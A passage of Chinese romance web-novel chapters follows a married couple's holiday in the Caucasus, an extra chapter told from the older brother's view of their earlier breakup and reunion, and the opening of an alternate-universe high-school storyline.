其中一位的手臂上套着条醒目的蓝色发圈,是宋郁。 那是燕棠早上出门前给他套上的,理由是:“我担心放在口袋会掉。” 这当然是她的借口。 男士雪服的颜色都差不多,雪地白得刺眼,她戴上护目镜后更是难分辨,为了不认错老公坐错车,只能给宋郁做个标记。 她坐上宋郁身后的位置,再次检查了一遍头盔和眼镜。 “开始吗?”宋璟问。 宋郁轻轻拍了下燕棠的手,让她抱稳自己的腰,等确定她抱得够力之后,才对亲哥说:“走啊。” 油门踩动,雪地摩托加大马力,后方雪尘飞溅。燕棠瞬间惊恐地叫出声。 ——这也太快了吧!!这完全是雪地飙车! 出门前,娜斯佳千叮咛万嘱咐要她注意检查头盔和护膝一类的安全措施,还提醒宋郁一定要照顾好她。燕棠这个时候终于意识到,娜斯佳从来不讲废话,每一句都是令人细思极恐的大实话。 她更没想到宋璟这个平常沉稳内敛的男人,竟然是人狠话不多的类型,骑雪地摩托的速度快得惊人,转弯下坡利落干脆,和常年运动的弟弟相比也不落下风。这里毕竟属于山地,虽然坡度不大,但途径之处偶有狭窄或稍陡之处。燕棠死死地抱着宋郁,隔着衣料还能感受到他结实的肩背肌肉紧绷着。 周边风景迅速后退,只剩下天际那抹被云层晕开的阳光耀眼无比。 在最初惊恐过后,燕棠开始感到别样的刺激,甚至开始关注这两兄弟的行进路线。 "老公,加油啊。" 她紧靠在宋郁背上,声音散在风里。 这场比赛是宋璟赢了。 在路途上,其实两人一直不分前后,但在路过最后一道拐弯处的时候,宋郁担心燕棠害怕,还是放缓了速度,于是宋璟迅速地超过了他们。 下车时,燕棠还陷在刚才的刺激之中。 她担心宋郁不高兴,一脸兴冲冲地夸他刚才很帅。 “我知道。”宋郁摘下头盔,笑着看她。他听见她那句小声的鼓励了。燕棠很少这么叫他,她在多数时间都只叫他的名字。虽然输了比赛有点儿遗憾,但那称呼足够令他心热。——今晚把kaka丢给孤寡老哥也没什么不好。 宋郁想。 这晚,一家人在别墅里其乐融融地聚餐。长桌上布置得很有情调,烛台明亮,酒香熏人。 燕棠今天头一次目睹了两兄弟友好竞争的样子,这会儿实在是忍不住好奇,真诚提问:“所以以前谁的追求者多一点?” 听到这问题,宋郁动作一顿,连宋璟都忍不住看了她一眼。 娜斯佳放下刀叉,擦擦嘴,笑着说:“那你可真是问对人了。” 72、日常篇... 很早以前,当燕棠刚刚得知宋郁有亲哥的时候,她曾经问过同样的问题。当时宋郁并没有直接回答,而是委婉提醒她应该站在他那一边。 对这个话题同样感兴趣的是娜斯佳。 以往家里没人跟她讨论,现在燕棠来了,她有太多两个儿子少年时的八卦趣事可以分享。 早年时候,宋璟一直在国内念书,读的是私立学校的国际部,而宋郁则一直在莫斯科念中学。每到放假时,两兄弟就会在莫斯科或者上海见面,经常会随父母去跟合作伙伴进行家庭聚餐或者参加一些派对。 “他们经常会在聚会上遇到我们朋友的女儿。我知道有几个女孩儿追过llya,她们还会经常和父母来我们家做客,当时还跟他爸爸赌llya会不会谈恋爱。”娜斯佳对燕棠说。 “是啊。”宋裕川也有印象,顺口问大儿子:“所以你当时谈恋爱了没有?” “没空。”宋璟只吐出两个字,拿起红酒杯喝了一口。 娜斯佳一副见惯不怪的样子,笑着继续跟燕棠说:"后来Kirill长大一点儿了,也吸引了不少女孩儿们的注意力,也有很多女孩子问他要联系方式。" 宋郁立刻申明:“我没给。” “是的,我可以作证。人家问为什么不给,他直接说因为我不想′,把人气走了。女孩儿们找他打球,他直接毫不留情地连胜到底,让小姑娘哭着离开球场。”说起那时候的事情,娜斯佳摇了摇头。 “我那时候才意识到,我们好像把他宠得有点儿任性了,开始注意教育他对待女孩子要绅士,拒绝也要委婉,平常要会照顾女生……”所以虽然宋郁要比哥哥活泼不少,看上去可可爱爱的,但女孩儿们都更喜欢高冷但更绅士的宋璟。 ——难怪以前第一次问起这个的时候,宋郁不肯告诉她。燕棠笑着看了宋郁一眼。 既然以前的事情都被亲妈抖了出来,宋郁索性也把自己的不满说了出来。 “不仅是这样。有很多联系我的女孩儿其实都是冲着我哥来的。” “特别是我十来岁的时候,派对上的女孩儿总是问我喜欢谁,我说谁也不喜欢。后来我才反应过来,她们是想问我喜欢谁当我的嫂子……之后我就不想跟他去玩儿了,被问得很烦。” “是我要带你去的吗?是你那时候非要跟我去看热闹。”宋璟也笑了一下,原本在趴在他怀里睡觉的kaka也醒了,冒出个脑袋在餐桌上看了一圈,仿佛在好奇大家为什么都在笑。 有哥哥在前,所以大家看待弟弟的时候难免带上一点看哥哥的影子,但其实两个人是完全不同的性格,也有着完全不一样的可爱之处。在这个世界上,除了娜斯佳之外,大概只有燕棠最明白这一点。 晚饭过后,两兄弟跟爸爸去谈了会儿生意上的事情,娜斯佳就拉着燕棠继续喝茶聊天。 她还留着一些照片,背景多是在低调奢华的别墅内。两兄弟虽然并不会表现得特别亲近,但能看出是喜欢待在一起的。 宋璟要高一些,眉眼十分秀气青涩,也许是在青春期的缘故,他总是懒得看镜头,脸上没什么表情,多数都是清清冷冷的样子。而宋郁看镜头总会露出甜甜的笑,脸庞稚嫩秀气,发丝柔软,笑起来时睫毛像太阳花一样绽开。 这些照片是燕棠从没看过的,她的目光不自觉地落在宋郁身上。见他在照片里笑得甜蜜,她也觉得心甜。 一壶红茶喝完,时间不早了。书房的门已经打开,父子三人已经聊完了。"时间不早,该休息了。"娜斯佳把照片分享到群里,收起手机,语气轻快地对燕棠说。“你去找你老公,我去找我老公。”卧室都在二楼,木质地板上铺着厚厚的地毯,踩上去时会发出细微的声响。燕棠跟娜斯佳道了晚安,转身往她和宋郁的房间走去,刚一开门就被人拉进怀里抱住。“比较出来了吗?”宋郁锁上门,把她扛到床边坐下,故意问。他刚洗完澡,空气里散着水汽,发丝还略有些湿,秀挺的鼻尖被暖气熏得微红。燕棠自觉调整姿势,跨坐在他腿上,跟他对视片刻,认真说:“你是我老公,这有什么可比较的?。”“那你还问我和我哥的追求者。”宋郁并不打算放过她。燕棠发誓:“我只是好奇而已!再说了,娜斯佳都作证了,以前不是没人追你,她们是因为拿不下你望而却步了。”“我都跟你结婚了,才不在意那种事情。如果非要比,我都有老婆了,我哥还没有,他明明比我失败。”宋郁把她往自己怀里拉进了一点。“我只是不喜欢你把注意力放在我哥身上,你管他有多少人追干什么?”燕棠笑着解释,她真的只是随口一问罢了,“刚才我看照片的时候,完全被你吸引了,你都不知道你小时候有多可爱。”“有多可爱?”他反问。燕棠凝视他。俊秀的眉眼,利落漂亮的面部线条,还能和少年时的影子重叠在一起,让她可以想象出他十五六岁时略有娇气,我行我素的样子。“会让我有点儿遗憾没亲眼见过你那时的样子,要是能更早地认识你就好了。”宋郁一愣,随后露出个笑来,"我那时候做事没轻重,都是后来被爸妈和我哥一点点纠正过来的。如果我在中学的时候就遇到你,你可能会被我欺负。"“你会怎么欺负我?”燕棠问。宋郁的左手从她衣服下摆伸进去,熟练地给她解开内衣扣子,“你说呢?”“那你只能想一想了。中国的中学不允许早恋,更不允许这些事情。”燕棠摸摸他的漂亮脸蛋,遗憾地说。“只是假设而已,我们已经结婚了。”宋郁握住她的手腕,引导她一路往下,诱惑般问:“你想摸摸我吗?我想听你像在坐雪地摩托那时候一样叫我。”提起白天里的事,氛围便变得暧昧起来。燕棠还记得宋郁在雪场里开雪地摩托时的场景。肌肉绷紧,充满力量。就像现在,宋郁将她整个人抱起来,使她不得不像白天那样伸出双臂将他搂紧。全身上下唯一的支点都落在了他身上。雪地摩托在雪地里驰骋颠簸,需要骑行者调动臂力和腰力,有力地控制速度和方向。高速行驶的过程中偶尔路过并不平坦的地面,会把她震得大腿内侧都略微发疼。这房子隔音虽然不错,但毕竟还有别人,燕棠有些紧张。可宋郁喜欢她这样子,每次她忍着没出声,他就低下头跟她接吻,她想躲开时,他就扣住她的后颈,要她避无可避。宋郁把她翻过身去,故意逗她:“你不是想见见以前的我吗?我可以试试。”燕棠的大脑缓慢转动,问:“怎么试?”“我在十八岁的时候对你有过幻想啊……”他的语气轻快,话语直白。燕棠的腰被身后的人伸手紧紧扣住。如果要她说起今天在雪地摩托上印象最深的一刻,那肯定是踩下油门,马达启动的时候。剧烈的震感,强劲的冲力,超越她理解和控制的速度。她又叫了一声“老公”,但却没有像白天那样让他加油,而是磕磕绊绊地请他慢一点。身后的男人没说话,也没有像往常那样听从她的要求,只是低下头,安抚性地亲了亲她的耳畔。时针直到凌晨一点,燕棠钻进了被子里,累得手都抬不起来。kaka今晚作为战利品被留在了宋璟的房间。没有小猫挠门,两人难得清净,正准备一起躺在床上歇下,忽然听见床头的手机响起几声消息提示。宋郁打开手机一看,是亲哥发来的,问他睡了没有。“怎么了?”燕棠问。宋郁掀开被子下床,披上外套,说:“我哥说kaka闹着要回来。”他走出卧室,沿着走廊拐了个弯,刚一站在亲哥门前,就听见里面隐隐约约传来“嗷呜”“嗷呜”的声音。小猫经常能发出令人惊奇的声音来表达情绪,宋郁没想到kaka竟然不愿意待在宋璟那里了。门被人打开,宋璟穿着一身睡衣,黑发略有些凌乱,估计是睡着后被小猫直接吵醒。宋郁通过门缝往里一看,kaka正站在书桌上来回走动,同时狂放地嚎叫着。它察觉到门口有动静,迅速迈着小碎步跑到宋郁脚边,后腿一蹬站起来,前爪撑着宋郁的腿,鼻尖四处闻了闻。有亲妈的味道,很浓。小猫一张嘴,声音突然变成了娇滴滴的“喵”,开始狂蹭宋郁的裤腿,随后熟练地爬上他肩膀处。宋璟看着这一幕,忍不住问:“你是怎么把它养成跟你一样的性格的?”“因为这是我跟我老婆亲生的啊。”宋郁说。kaka不愿意继续留在这里,他就把它接回卧室。燕棠正靠在床头玩手机等他回来,听见门口有脚步声,一抬头,就看见门开了缝,随后一只雪豹纹小猫像道闪电似地冲到了床头。“没想到它一定要跟我们睡。”宋郁掀开被子躺上床,笑着说。燕棠也有些惊奇,抱起kaka问:“原来你认窝呀。”kaka明白这是在对自己说话,在燕棠怀里“嗯嗯嗯”地蹭了一会儿,随后像往常那样在他们两人的枕头之间找了个舒服的位置躺下。燕棠也睡下了,头顶小猫,贴着宋郁。台灯暖黄。宋郁像之前那样搂着她的腰,亲了下她的额头,跟她说晚安。关灯后,室内一片漆。 两人相互依偎的身体交换着体温,小猫发出呼噜呼噜的声音。 在一切波澜起伏过后,寻常的日子能给人带来恒定的幸福。 让人变得稳定踏实,像漂泊的船停靠在了港口。 窗外是浸在夜色里的高加索山脉,延绵的雪山像一条洁净的绸带。 燕棠感觉她和宋郁之间,以及他们和kaka之间,也像是有一条无形的绸带,将他们牢牢地捆绑在了一起。她觉得自己很幸福。 * 在kaka离开之后,宽敞的卧室忽然变得有些冷清,宋璟暂时没了睡意。他坐在单人沙发上看了会儿书,又觉得无聊,伸手拿起一旁的手机,才发现家庭群里有几条妈妈发来的消息,是今天在别墅里照的全家福。 他点开其中一张照片。弟弟把弟媳搂在怀里,两人的确很般配。 但如果时间倒流回七年前,他对这段关系的态度并不乐观,所以当时宋郁做出的许多举动,都令他感到很意外。而其中有一些事情,大概连燕棠都不知道。 73、日常篇(完)... 2015年,宋璟刚满22岁。 在这一年,他从国外念书回来,按照家里安排进入集团一家子公司,直接从中层做起,开始管理业务线。 公司是一个权力场,少爷光环在这里不起作用。 员工表面逢迎,私底下却总会轻飘飘地给他扣上“太子”的帽子,用以抹杀他凭借能力而取得的成就。而一些中高层则会用另一种眼光打量他,暗自掂量着他的斤两,以便在股东及其董事代表们之间的派系权力较量中选定位置。 因此宋璟需要比一般人做得更好,才能管理众人的期望,在未来从爸爸手里接过母公司级别的管理职位,维持他们家作为核心股东在集团里一言堂的地位。 他每天要处理工作,此外还要与管理层适当建立联系。母公司层面发来意见,他也需要揣测爸爸这个举动是否有什么深意。 从早到晚,忙至深夜,常常疲惫至极。 「如果一个女孩子加了你微信,说感谢你载她一程,还转给你车费,她是什么意思?」在某一天晚上的深夜十二点,刚满十八岁的弟弟忽然发来消息。 上海的冬天湿冷,宋璟收到消息时刚刚加班结束,心神疲倦,直接回:「能有什么意思?她想还你人情,跟你撇清关系。」 那边沉默半天后发来一个表情包,面无表情的小熊头上顶着怒火,附言:「问你就是白问……」 宋璟懒得回他。 但心里忍不住轻轻叹了口气——这小子什么时候能长大? 这个小小的插曲并没有引起他的注意。 直到过了大约一个多月后,宋郁给爷爷打了个电话,说是要帮一个被盗窃学术成果又遭遇骚扰的女生维权。 宋璟很快也知道了这件事的来龙去脉。那个女生叫燕棠,是妈妈为宋郁挑的中文家教,还作为翻译陪同他在俱乐部进行训练。在随爸爸从上海到北京出差的时候,和弟弟晚上在家里碰见,他随口问了一句,才知道那女生原来就是给宋郁转车费的那位。真是巧。不过更巧的是,宋璟没想到也很快就碰上了那女孩儿,在集团下属一支基金给高校捐赠的图书馆剪彩仪式上。北京三月时梨花开得正好,阳光融融的,花瓣一簇一簇挤在枝头,风一吹,像是春日落雪。新图书馆剪彩后是例行的讲演发言,来回不过是那几句话。宋璟听得无聊,借口上厕所到洗手间里洗手躲清净,正想走出去,却无意中听见有人叫了声“燕同学。”他停住脚步,隔着一扇门,听见外头两人的对话。“我想跟你聊聊。”是位年长男教授。“老师,我不太方便。”这女孩儿的声音则有些软绵绵的。那位教授很坚持,随后宋璟听见那女孩儿用很平静的语气说:“还是不了吧,我怕您又想摸我。”直白得令人惊奇。被教授问及“上面的人”,她的回答也很有意思,没有把求助对象的身份抖落出来耍威风,反而言语上反讽了一番,说她"上面是青天白日,只有见不得光的才会怕。"宋璟认出这就是弟弟的家教老师燕棠。他从来不是多管闲事的人,但考虑到这一层关系,还是推门出去,替这女孩儿解了围。有些话不用摆在台面上说,不过寒暄几句,摆出态度,就能让对方知道水深几许。这件事被轻巧地解决了,宋璟把燕棠送出图书馆。她有些拘谨又有些感激,最后竟然微微朝他鞠了个躬,诚恳地道谢。宋璟让她不用在意,转身往图书馆内走去。透过窗户,他看见她和朋友一起走在梨花树下,说笑时也是恬静温和的样子。老实的性格,逼急了会做出一点反击,看上去没什么坏心思。宋璟给燕棠定了性。他同时想到——如果宋郁对她有别样的心思,这女孩儿大概会被那小子用花招儿欺负得很惨。在某种程度上,宋璟对弟弟的了解要超越父母。因为家里第二个孩子的邪恶,往往只有老大才能深刻领教。所有人都觉得Kirill很可爱,只有宋璟知道他是装的,为的是将大家的注意力从他这里吸引走。但说弟弟爱争宠吧,这小子小时候在家里找不到哥哥又会大哭大闹。以至于到现在为止,宋郁眉眼一弯,宋璟就知道他想干什么坏事。图书馆剪彩仪式之后不久,娜斯佳提议邀请燕棠到家里吃饭,作为她帮助宋郁通过预科考试的感谢。宋裕川听老婆的,宋璟无所谓,宋郁高兴地说“妈妈真好”。他瞥了一眼弟弟,笑了一下。宋郁扭头看他,问:“你为什么笑?”“你自己猜。”宋璟偏偏不说。邀请家教老师来家里吃饭的事就这么定了下来。北京的四月天里,春光和煦,温度要比早春更暖。饭前聊天的时候,宋璟多数时候都在默不作声地喝茶。他完全是局外人,今天不过是出于礼节才出面罢了,奈何宋郁的举动实在是太招人注意,让他忍不住朝他们那边儿看了好几眼。宋郁的目光完全黏在了燕棠的身上,反倒是燕棠一直没看他,专注地和妈妈聊着天。可偏偏宋郁是一个不喜欢被忽视的人,燕棠越不看他,他就越往她身侧靠,试图让她转过头来跟他说说话。窗外飘着纷纷扬扬的白色,三月的梨花变成四月的柳絮,前者是带着香气儿的春雪,后者却只能让人鼻子过敏。宋璟不会因为柳絮过敏,但他已经快要因为亲弟这种公孔雀开屏的行为过敏。这一次吃饭证实了宋璟的猜想。他不看好这两个人,但也不打算做些什么。现在不是封建时代,只要没到结婚那一步,想谈恋爱就谈,不合适自然就会散。燕棠是敏感谨慎的性格,而宋郁任性惯了,他觉得这两个人迟早得散。结果的确如宋璟所料,两个人没多久就分开了。但他没想到的是,宋郁居然追到了人家的家里去,还把人缠在酒店里胡搞,就是为了不分手。时间已经走到了七月,恰逢集团下一家公司在香港分拆上市,宋璟正随宋裕川在香港跟基石投资者们交际应酬。百忙之中收到燕棠的消息,他不想惊动父母,于是借口有事,硬生生在忙碌的日程里挤出了一天,打飞的到南市抓人。三线城市下了一周的暴雨,马路两侧的树木是浓郁的深绿色。他按照燕棠给的房号敲响了酒店的房门。门被人从里到外打开,宋郁冷着脸,目光沉沉地看着他,左脸颊微红,像是被人扇过一巴掌。活该。宋璟面无表情地想。"你应该庆幸她是给我打电话。人家的心不在你这里,你勉强她有什么用呢?"酒店有一处开放式露台,往远处看是宛如碧色绸带般的江水。可惜现在是阴天,这片婉约的景色带上几分沉郁,和空气里粘稠潮湿的水汽一起缠在人的心头和眼中。宋璟倚在栏杆边说话,偶尔侧过头看向身边的弟弟,只见他半垂着眼,长睫毛下是一片沉沉的阴影。“你对她没有坏心思,她肯定也知道。但两个人在一起久了,就不仅是吃喝玩乐。”“谁说我和她只是吃喝玩乐?”宋郁反驳。“你反驳我有什么用?这么多天,你说服她了吗?”宋璟问。两人之间沉默片刻。宋璟见他稍微冷静下来了,才跟他讲道理。“Kirill,你的问题就在这里。从小被家里宠到大,什么事情都不要你操心,都按照你的喜好来。所以你从来不需要考虑别人立场,因为所有人,包括我,都会顺着你的意思去做。“你刚刚来中国通过了预科考试,爸妈都期待和你一起在这边生活,为了和这个女孩子谈恋爱,你又突然要回莫斯科,你让家里人怎么看待你的行为。如果她真的要你去了,你又让家里人怎么看待这个女孩子?“既然她那么喜欢你,却又不相信和你有未来,原因是什么?我猜你肯定也没有从她的角度去思考过。”宋璟知道宋郁虽然平常任性了点儿,关键时候仍然是能听进道理的。他借此机会跟弟弟说了很多话。弟弟现在十八岁,人生才刚刚开始,以后还会遇见很多新的人。他现在很喜欢这一个,以后会不会像现在这样喜欢上别人,谁说得定呢。宋郁坚定地说他以后也只会喜欢那女孩儿,而宋璟懒得跟他讨论这种尚未发生的事情。反正现在两个人各自都不成熟,非要勉强在一起,感情容易被磋磨,以后多半也不会有好结果。不知道宋郁最后是被哪一句话说服,他最终答应离开。宋璟带着弟弟上车离开的时候,随意往车窗外看了一眼,注意到燕棠还没走。秀丽温和的女孩儿,一身白裙子,静静站在酒店门口注视着车离开的方向。眼睛微红,目光如水。收回目光,宋璟又瞥了眼身边的弟弟。宋郁默不作声地看着车窗外,剔透的瞳孔泛着水光,映出迅速变化的街景,鼻尖也是红的,像小时候那样可怜。“妈妈也在香港,这两天你陪她去逛逛街,见见朋友,散散心。”他对宋郁说。“我不想出门。”宋郁第一次用疲倦的声音说,“我感觉很累。”直到这时,宋璟才非常确定,他们的确陷入了爱情。只可惜时机不对,两个人想不到一块儿去,也走不到一块儿去。初恋因其脆弱易碎的特质而带上别样的美丽,那美丽难免令旁观者也动容。宋璟心里难得升上一股同情。*两人分开后,宋璟没有再关注这件事,也没有把南市的事情告知父母。日子一直在往前走,他在上海工作,弟弟在北京学习和训练。由于经常要出差,他和弟弟见面的次数并不少。这也让他把宋郁的变化看得很清楚。——具体说不上哪里变了,但眼神、说话的语气、举动,都渐渐变得沉稳,偶尔交谈之间,也能感觉到宋郁这段时间里想了很多。人难免要经历生长痛,哪怕这个经历并不好受。“我想她只是想要安静地发展自己的事业,等她的事业有了成就,她发现我还喜欢她,也许她就不会拒绝我了。”宋郁在某一天下午,跟他这么说。宋璟没想到他竟然还惦记着那个女孩儿。“如果我给她发生日祝福,你觉得她会感到不舒服吗?”宋郁又问。听到这个问题,宋璟觉得弟弟的确是长大了,竟然能开始考虑别人的心情。可惜他并非专业的感情顾问,给不了明智的建议。宋璟猜测宋郁应该一直在试着联系燕棠,试图跟她保持某种令她感到舒服的朋友关系,但在他们有进一步进展之前,他先遇到了燕棠。在经过几次接触之后,就算完全排除宋郁这个中间因素,宋璟承认自己仍然很欣赏燕棠——她也有了许多的变化,目标明确、很努力,也做出了点儿成绩。跟她聊业务、聊市场,宋璟发现她也有许多自己的见地。宋璟同时也注意到,她偶尔会看着他的脸出神。而她言语之中也都是对宋郁的关心,只是因为当年的事,让她每次开口都难免显得小心翼翼。几年过去了,既然两个人的心意也还在,又各自成长了不少,他不是那种棒打鸳鸯的人,于是在基金会总部碰见燕棠的时候,也会隐晦地帮宋郁说两句话。很快,宋璟就听娜斯佳提起,宋郁在西雅图比赛的时候受伤了,不过还好有燕棠陪在他身边。他猜想那小子应该很高兴,自己也算是有功德一件。结果某一天,他忽然收到弟弟发来的消息。「你不要再找她说话了!!!」还附带一张久违的表情包,面无表情的小熊头上顶着滔滔怒火。有病。宋璟第一次有种要拉黑亲弟的冲动,但还没来得及操作,他又收到消息。「她又拒绝我了,是不是你跟她说了什么?!」宋郁质问。宋璟让他少看电视剧。两个人的事情又黄了,宋璟觉得宋郁应该已经放弃,结果没想到大半年过去了,他反倒跑回了莫斯科,说他彻底想明白了,随后直接越过亲哥找爸爸聊天。宋郁还是想跟那女孩儿在一起,而且他是要跟她认真发展。所谓认真发展,肯定就是带着结婚的目的了。所以他对爸爸说:“我很爱你和妈妈,但我也很想和她在一起。我思考了很久,才想出一个解决办法——如果你和妈妈有什么资产上的担忧,我可以把我手上跟家里有关的股权都还回去。这不是要跟你们决裂的意思,以后我还是会好好孝敬你们的。”言下之意是完全从家里独立,自己挣钱,家里的资产统统不要,免得让父母对燕棠产生额外的疑虑。这是宋郁第一次把感情的事情放在爸爸面前说,宋裕川非常惊讶。这不是小事儿,宋璟自然也在旁边听。宋裕川温声询问:“儿子,你现在的感情状态是?”宋郁:“单身。”一番豪言壮语说下来,人都没追到。宋裕川直接被逗笑了,让他把人追到再说——他又不是没见过燕棠,当年对宋郁的表现也都看在眼里。几年前,宋裕川不想管,觉得这不过是小孩儿玩过家家。在这种事情上,父母不闻不问,反而是最大的宽容。现在宋郁已经长大了,有了自己的想法,他和娜斯佳当然会尊重,不会把事情做得那么绝情。后来在西伯利亚的度假里,宋裕川见过燕棠,便借着送房子的事情跟宋郁表了态。再后来——宋璟现在还记得那小子当着他的面亲女朋友的样子。尾巴都要翘上天了,仿佛以前哭的那个不是他一样。想到这里,宋璟笑了一下。夜深了,落地灯晕散出暖黄的灯光,脚下羊绒地毯绵软又厚重,桌边还留着小猫kaka踩过他水杯之后留下的爪印。窗外不知道何时开始落雪,夜色里的高加索山脉变成朦胧的虚影。如果时间能够具象,也许它会像是一条如这虚影般漫长的河流。时间之河会冲刷掉很多东西,带走无足轻重的泥沙,让真正的金子展露原貌。宋璟坐在单人沙发上,凝视着手机屏幕里的全家合照。作为家人,他相信宋郁和燕棠能够一起走过这一生的长路。(日常篇完) 74、IF线-转学来的新学弟... 地理周考试卷发下来时,班上所有人都在唉声叹气。 包括燕棠。 五月末的南市已经热了起来,教学楼外并列生长着三株高大的玉兰花树。墨绿色的叶子又宽又厚,把午后阳光割成破碎的光影,洒在她的课桌上。 把试卷上用红笔写的五十九分照得发光。 没及格。 但这个分数在所在的普通文科班上却已经算得上前几。 “这次考试题目非常难,是近十年所有涉及自转和公转时差计算的高考题,没考好也不用慌,不代表大家的正常水平,只作为参考……”地理曾老师安慰大家。 听见有人问最高分,他说:“有啊,重点班的江聿行考了九十二。” 燕棠正低着头在看自己试卷上那一道道红叉叉,听见这个名字,扭过头去跟同桌王奇雨小声说:“他太厉害了,成绩一直这么稳定…….” 王奇雨的试卷上写着光荣的三十九分,也被阳光照得散发出神圣的光芒。 不过王奇雨并没有陷入不及格的沉痛心情中,她正伸着脑袋往窗外看。大概是走神太明显,讲台上的老师也发现了她的小动作。 “王奇雨,外面撒钱了还是怎么的,什么东西那么好看?”王奇雨转过头来,还真的一本正经地答:“老师,校门口没有好看的东西,但有个贼好看的男生!”班级里因为公布成绩而变得低靡的气氛,一瞬间就被这话点燃。爱美之心人人有之,女生们一个个从座位上跳起来往窗边挤,把老老实实坐在位置上的燕棠也一起推到了窗边去。 "那不是中国人吧?"“好高好白啊……”“他怎么不抬头,我要看脸!!”“真的是个外国人啊!” 听说是外国人,班上的男生都开始好奇,纷纷往窗边涌去。地理老师呵斥了几声,见没人理他,索性放弃强调纪律,一同凑过去看热闹。燕棠也好奇地往楼下望。 校门口处停着一辆黑色轿车,那男孩儿就站在车前,左肩挂着书包肩带,穿着简单的黑T长裤。身形挺拔,个子很高,一头浅棕色的头发,皮肤在阳光下白得发光。 高一的教务组长站在那里,正跟他旁边的中年男人说着什么,边说边点头,一副很恭敬的样子。大概是聊完了,教务组长把那男孩儿迎进学校,开始给他介绍校内格局。 “不会是转学生吧?”"啊?转来个外国学生?来我们这儿考高考??" 所有人都不敢置信。 路过教学楼的时候,那男孩儿忽然抬头,往五楼教室这边看过来。隔得太远,燕棠看不清他长什么样。 不知道这男孩儿是注意到了什么,他过了好一会儿才收回目光,继续往前走。人走了,乌泱泱聚在一起的学生又各自回到座位上,燕棠没忍住问王奇雨:“你是怎么看出他长得帅的?” “帅是一种气质。”王奇雨笑嘻嘻地说,“要求别那么高了,也不是谁都像江聿行那样,不仅长得帅性格好,成绩还那么好。” “我能有什么要求?连选择都没有。”燕棠摇了摇头,拿起笔开始在一片红叉的试卷上记笔记。 除了英语课之外,她最喜欢的就是地理课。对于她来说,世界几乎完全缩小成了校园的模样——教室、操场、食堂和宿舍四点一线。地理课上的世界地图给了她一些幻想的空间。 最喜欢的科目没及格,让她感觉很挫败。更重要的是,这场周考是期末考试之前的最后一次测验,而高二下学期的期末测试不仅是全市统考,还决定着高三前的分班结果。 ——燕棠想进入重点班。 按照小道消息,高三重点班的老师更有经验,不会让学生做很多没用的练习题。除此之外,她还有一点小小的私心,那就是希望能有机会和江聿行在同一个教室学习。她从高一开始暗恋江聿行,这件事只有关系最好的王奇雨知道。 在这一方被围墙圈起来的校园里,能见的人、遇到的事都是有限的。 无聊、枯燥、日复一日。 而江聿行就像是一抹明亮的色彩,只要远远地看着他,就让燕棠觉得很满足。 想到这里,燕棠逼迫自己振作起来,集中精力听课,一口气撑到了下午最后一节英语课结束。 刘老师走下讲台,敲了敲燕棠的桌面。 “今天的作业是写模拟试卷,我上节课不小心把卷子都拿给重点班了,你去找江聿行把你们班的那份拿来吧。” 想到要跟江聿行说话,燕棠有些紧张,于是拉着王奇雨一起往重点班教室走去,等到了才听人说江聿行不在,现在去体育馆打球去了,让人帮忙看他桌面,也没看见有空白试卷。 她们只好转道往体育馆走去。 体育馆比往常热闹得多,两人一进场地,立刻发现最靠里的那片羽毛球场地聚满了人,好些都是高一高二的学妹。王奇雨踮起脚往那边儿看了一眼,"打羽毛球有什么可看的?" 恰好有个认识的重点班同学路过,燕棠逮着人问江聿行在哪儿,那同学就指了指最里面那片热闹中心。 "他在打羽毛球呢,高一新转来了个外国学弟,两人刚好在体育馆碰上了,场地不够,就凑一起打球。女生都疯了,全是去看脸的。" 王奇雨一听,瞬间来了兴致,“还真是转学来的啊?以后可有眼福了……”她拉着燕棠就往场地边缘挤进去。 燕棠也有点儿好奇,一边跟身边的同学道歉一边往里走,刚一站定,就发现自己站在了转学生打球的这一侧。 饶是已经有了暗恋对象,她此刻还是看愣了。 如果说江聿行满足了燕棠对男孩子的所有幻想,那这个新转来的学弟就完全像是另一个次元的人。 从这个角度,燕棠只能看到他的侧脸。轮廓秀气标致,脸颊还带着点儿婴儿肥,唇色是淡粉的。 大概是常年运动的缘故,他抬手落拍时,手臂肌肉绷紧,薄肌透出明显的力量感,浑身上下青春洋溢。 更重要的是,哪怕隔了两三米的距离,她仍然能看见他那逆天长睫毛的弧度。 羽毛球在球网上来回飞旋,这漂亮学弟抬手挥拍,毫不费力的一个杀球,把对面的江聿行杀得落花流水。 和他一边的男同学夸他:"niubility!" 这小洋人仿佛听懂这神奇的中式英语,冲队友笑了一下,一脸阳光灿烂。 “他笑得要把我眼睛闪瞎。”王奇雨死死压着声音,凑在燕棠耳边说,“你还别说,这小学弟好像比江聿行帅多了啊!” 纵使王奇雨尽量压抑了声音,她激动而颤抖的语气还是太过明显。 燕棠匆匆忙忙捂住她的嘴,一抬眼,发现那学弟正朝她们这边看过来,猝不及防地和他对上视线。 这学弟眼睛大而明亮,目光清凌凌的,微垂着眼看她,莫名让人有种被专注凝视的错觉。 燕棠鬼使神差地心里咯噔一跳,有些慌张地别过脸。 ——他听懂了吗?没听懂吧?刚才明明跟人说的都是英文,肯定中文不怎么好! 她趁打球的人中场休息,拉着王奇雨往另一边走,没注意到那学弟目光一直追着她的身影,直到她站在了江聿行面前。江聿行正在喝水休息,见燕棠来了,放下水杯朝她笑了笑,“找我有事儿?”他的爸爸是北方人,所以江聿行说话时也带着讨人喜欢的儿化音——至少燕棠是这么觉得的。不过她从来没有在江聿行面前表现出过分的热情,这会儿也只是有些拘谨地笑了笑,告诉他来意。 "噢,试卷被我放在了书包里,等会儿晚自习前我给你送去吧。"江聿行离开教室前忘记了这茬,清俊的眉眼间带上几分歉意。“麻烦你跑来找我一趟,真不好意思。” "没事,反正我也顺路去食堂。"燕棠说完,又顺口鼓励道: "那你继续打球吧,加油,我看你刚才差点儿就能接到球了。" 燕棠担忧自己表现得太过明显,说完就立刻低下头准备往外走,可刚转身就被王奇雨用力往后一拽。 “撞人了!”身后的王奇雨急急忙忙说。 燕棠吓了一跳,根本没看清是谁,身形不稳往后一仰,随后立刻被面前的人稳稳扶住了手臂,重新站定。 再次和新学弟对上视线,燕棠的脑子突然宕机,不知道该说抱歉还是谢谢。 这学弟也没放手,还是盯着她看。 这时,一旁的江聿行说话了,用英语问:"Kirill,你不打了吗?" “不打了。”这位叫Kirill的学弟开口,说的也是英语,语气里兴致缺缺。 燕棠趁机拉着王奇雨开溜,快步绕开人堆,刚踏出体育馆就忍不住跟她念叨:"他长得也太高了吧?比江聿行还高,吃什么长大的!"“就是,他刚才在你身后站了一会儿,你就像个小鸡仔似的。” “他一直站在我身后?” 